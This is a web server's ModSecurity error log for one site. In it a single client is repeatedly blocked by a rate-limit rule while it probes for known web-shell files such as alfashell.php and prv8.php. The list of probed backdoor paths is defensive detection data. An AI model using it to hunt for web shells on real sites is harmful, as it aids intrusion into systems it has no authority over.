[Wed Apr 15 01:05:23.570514 2026] [:error] [pid 62295:tid 62303] [client 20.240.133.195:36815] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5z0xng-JDNFCa0BnhozwAAAAQ"]
[Wed Apr 15 01:05:24.570540 2026] [:error] [pid 62296:tid 62350] [client 20.240.133.195:36856] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "ad5z1MTNd04nWM2DK4SCpwAAAFc"]
[Wed Apr 15 01:05:25.668101 2026] [:error] [pid 62297:tid 62376] [client 20.240.133.195:39366] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5z1avogcWlrafOEaG9nQAAARY"]
[Wed Apr 15 01:05:26.548272 2026] [:error] [pid 17804:tid 17810] [client 20.240.133.195:41860] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5z1gAZKYxfpamecKd80QAAAMA"]
[Wed Apr 15 01:05:27.234733 2026] [:error] [pid 62297:tid 62364] [client 20.240.133.195:63491] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5z16vogcWlrafOEaG9owAAAQo"]
[Wed Apr 15 01:05:28.154554 2026] [:error] [pid 17926:tid 17941] [client 20.240.133.195:43141] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "ad5z2PKxFvgDwMI04zBRkQAAAcg"]
[Wed Apr 15 01:05:29.055319 2026] [:error] [pid 17926:tid 17952] [client 20.240.133.195:6506] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "ad5z2fKxFvgDwMI04zBRmAAAAdM"]
[Wed Apr 15 01:05:29.665731 2026] [:error] [pid 17926:tid 17939] [client 20.240.133.195:36832] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "ad5z2fKxFvgDwMI04zBRoAAAAcY"]
[Wed Apr 15 01:05:30.517747 2026] [:error] [pid 62432:tid 62445] [client 20.240.133.195:39417] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "ad5z2rPtNET7V_vfTPfPpAAAAUo"]
[Wed Apr 15 01:05:32.161705 2026] [:error] [pid 62296:tid 62329] [client 20.240.133.195:32377] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/prv8.php"] [unique_id "ad5z3MTNd04nWM2DK4SCsAAAAEI"]
[Wed Apr 15 01:05:33.066826 2026] [:error] [pid 17734:tid 17745] [client 20.240.133.195:58388] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ad5z3dN3xsztF3DFLWz8wAAAAIY"]
[Wed Apr 15 01:05:33.766944 2026] [:error] [pid 62297:tid 62375] [client 20.240.133.195:58375] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ad5z3avogcWlrafOEaG9sgAAARU"]
[Wed Apr 15 01:05:34.710391 2026] [:error] [pid 17804:tid 17828] [client 20.240.133.195:29097] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ad5z3gAZKYxfpamecKd82QAAANI"]
[Wed Apr 15 01:05:36.003999 2026] [:error] [pid 17926:tid 17940] [client 20.240.133.195:41867] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "ad5z4PKxFvgDwMI04zBRqwAAAcc"]
[Wed Apr 15 01:05:36.791309 2026] [:error] [pid 17866:tid 17881] [client 20.240.133.195:6504] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "ad5z4Lx_17kv70EUVIlDDQAAAY0"]
[Wed Apr 15 01:05:37.505214 2026] [:error] [pid 62295:tid 62300] [client 20.240.133.195:39375] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "ad5z4Rng-JDNFCa0Bnho9QAAAAE"]
[Wed Apr 15 01:05:38.565220 2026] [:error] [pid 17866:tid 17884] [client 20.240.133.195:45060] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "ad5z4rx_17kv70EUVIlDFAAAAZA"]
[Wed Apr 15 01:05:39.158113 2026] [:error] [pid 62295:tid 62305] [client 20.240.133.195:43136] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dev.php"] [unique_id "ad5z4xng-JDNFCa0Bnho9wAAAAY"]
[Wed Apr 15 01:05:39.903899 2026] [:error] [pid 17926:tid 17935] [client 20.240.133.195:58378] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "ad5z4_KxFvgDwMI04zBRsQAAAcI"]
[Wed Apr 15 01:05:40.553972 2026] [:error] [pid 17926:tid 17941] [client 20.240.133.195:36841] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "ad5z5PKxFvgDwMI04zBRswAAAcg"]
[Wed Apr 15 01:05:41.182528 2026] [:error] [pid 62296:tid 62329] [client 20.240.133.195:39363] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "ad5z5cTNd04nWM2DK4SCvQAAAEI"]
[Wed Apr 15 01:05:41.753291 2026] [:error] [pid 17866:tid 17882] [client 20.240.133.195:41888] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bal.php"] [unique_id "ad5z5bx_17kv70EUVIlDGgAAAY4"]
[Wed Apr 15 01:05:42.295410 2026] [:error] [pid 62296:tid 62345] [client 20.240.133.195:43164] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "ad5z5sTNd04nWM2DK4SCwgAAAFI"]
[Wed Apr 15 01:05:42.867540 2026] [:error] [pid 17734:tid 17740] [client 20.240.133.195:6358] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "ad5z5tN3xsztF3DFLWz8zAAAAIE"]
[Wed Apr 15 01:05:43.493637 2026] [:error] [pid 62432:tid 62444] [client 20.240.133.195:39399] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "ad5z57PtNET7V_vfTPfPtAAAAUk"]
[Wed Apr 15 01:05:44.048652 2026] [:error] [pid 17926:tid 17946] [client 20.240.133.195:6336] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/in.php"] [unique_id "ad5z6PKxFvgDwMI04zBRugAAAc0"]
[Wed Apr 15 01:05:44.651755 2026] [:error] [pid 17804:tid 17817] [client 20.240.133.195:6356] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "ad5z6AAZKYxfpamecKd85AAAAMc"]
[Wed Apr 15 01:05:45.198155 2026] [:error] [pid 62432:tid 62442] [client 20.240.133.195:6491] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "ad5z6bPtNET7V_vfTPfPtwAAAUc"]
[Wed Apr 15 01:05:45.822874 2026] [:error] [pid 17866:tid 17887] [client 20.240.133.195:36847] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "ad5z6bx_17kv70EUVIlDHAAAAZM"]
[Wed Apr 15 01:05:46.430685 2026] [:error] [pid 62297:tid 62361] [client 20.240.133.195:39415] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gssdd.php"] [unique_id "ad5z6qvogcWlrafOEaG9yAAAAQc"]
[Wed Apr 15 01:05:46.998720 2026] [:error] [pid 62297:tid 62355] [client 20.240.133.195:58403] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ad5z6qvogcWlrafOEaG9ywAAAQE"]
[Wed Apr 15 01:05:47.543857 2026] [:error] [pid 62296:tid 62341] [client 20.240.133.195:58404] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ad5z68TNd04nWM2DK4SCzAAAAE4"]
[Wed Apr 15 01:05:48.191855 2026] [:error] [pid 62296:tid 62348] [client 20.240.133.195:44377] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ad5z7MTNd04nWM2DK4SCzQAAAFU"]
[Wed Apr 15 01:05:48.770708 2026] [:error] [pid 17926:tid 17937] [client 20.240.133.195:29098] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "ad5z7PKxFvgDwMI04zBRxQAAAcQ"]
[Wed Apr 15 01:05:49.327843 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:29063] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "ad5z7Rng-JDNFCa0BnhpEAAAABA"]
[Wed Apr 15 01:05:49.995113 2026] [:error] [pid 62297:tid 62354] [client 20.240.133.195:39420] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "ad5z7avogcWlrafOEaG9zgAAAQA"]
[Wed Apr 15 01:05:50.526909 2026] [:error] [pid 62296:tid 62345] [client 20.240.133.195:29069] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "ad5z7sTNd04nWM2DK4SC1QAAAFI"]
[Wed Apr 15 01:05:51.063315 2026] [:error] [pid 17804:tid 17811] [client 20.240.133.195:36803] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bs1.php"] [unique_id "ad5z7wAZKYxfpamecKd86AAAAME"]
[Wed Apr 15 01:05:51.589785 2026] [:error] [pid 62432:tid 62449] [client 20.240.133.195:29070] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "ad5z77PtNET7V_vfTPfPwQAAAU4"]
[Wed Apr 15 01:05:52.129076 2026] [:error] [pid 17734:tid 17741] [client 20.240.133.195:43156] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "ad5z8NN3xsztF3DFLWz83QAAAII"]
[Wed Apr 15 01:05:52.689122 2026] [:error] [pid 62432:tid 62448] [client 20.240.133.195:37464] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "ad5z8LPtNET7V_vfTPfPxwAAAU0"]
[Wed Apr 15 01:05:53.223375 2026] [:error] [pid 17734:tid 17757] [client 20.240.133.195:6364] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bengi.php"] [unique_id "ad5z8dN3xsztF3DFLWz84gAAAJI"]
[Wed Apr 15 01:05:53.752513 2026] [:error] [pid 17926:tid 17939] [client 20.240.133.195:7135] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ad5z8fKxFvgDwMI04zBRyAAAAcY"]
[Wed Apr 15 01:05:54.276857 2026] [:error] [pid 17866:tid 17877] [client 20.240.133.195:6350] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ad5z8rx_17kv70EUVIlDIAAAAYk"]
[Wed Apr 15 01:05:54.830310 2026] [:error] [pid 62297:tid 62372] [client 20.240.133.195:6345] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ad5z8qvogcWlrafOEaG90wAAARI"]
[Wed Apr 15 01:05:55.364149 2026] [:error] [pid 62432:tid 62452] [client 20.240.133.195:45060] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "ad5z87PtNET7V_vfTPfPzgAAAVE"]
[Wed Apr 15 01:05:55.924975 2026] [:error] [pid 62297:tid 62369] [client 20.240.133.195:6365] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "ad5z86vogcWlrafOEaG91QAAAQ8"]
[Wed Apr 15 01:05:56.453923 2026] [:error] [pid 17926:tid 17938] [client 20.240.133.195:43172] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "ad5z9PKxFvgDwMI04zBRyQAAAcU"]
[Wed Apr 15 01:05:56.988250 2026] [:error] [pid 62295:tid 62315] [client 20.240.133.195:29105] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "ad5z9Bng-JDNFCa0BnhpHAAAABA"]
[Wed Apr 15 01:05:57.536269 2026] [:error] [pid 17926:tid 17954] [client 20.240.133.195:58395] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/axx.php"] [unique_id "ad5z9fKxFvgDwMI04zBRzQAAAdU"]
[Wed Apr 15 01:05:58.082210 2026] [:error] [pid 62295:tid 62300] [client 20.240.133.195:43146] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "ad5z9hng-JDNFCa0BnhpIgAAAAE"]
[Wed Apr 15 01:05:58.607251 2026] [:error] [pid 17734:tid 17761] [client 20.240.133.195:41886] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "ad5z9tN3xsztF3DFLWz86QAAAJY"]
[Wed Apr 15 01:05:59.140095 2026] [:error] [pid 17926:tid 17952] [client 20.240.133.195:58318] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "ad5z9_KxFvgDwMI04zBRzwAAAdM"]
[Wed Apr 15 01:05:59.694473 2026] [:error] [pid 17734:tid 17747] [client 20.240.133.195:39400] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/alfashell.php"] [unique_id "ad5z99N3xsztF3DFLWz86wAAAIg"]
[Wed Apr 15 01:06:00.232346 2026] [:error] [pid 62295:tid 62309] [client 20.240.133.195:58428] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad5z-Bng-JDNFCa0BnhpMAAAAAo"]
[Wed Apr 15 01:06:00.758704 2026] [:error] [pid 62295:tid 62318] [client 20.240.133.195:44383] [client 20.240.133.195] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gettest.php"] [unique_id "ad5z-Bng-JDNFCa0BnhpNQAAABM"]
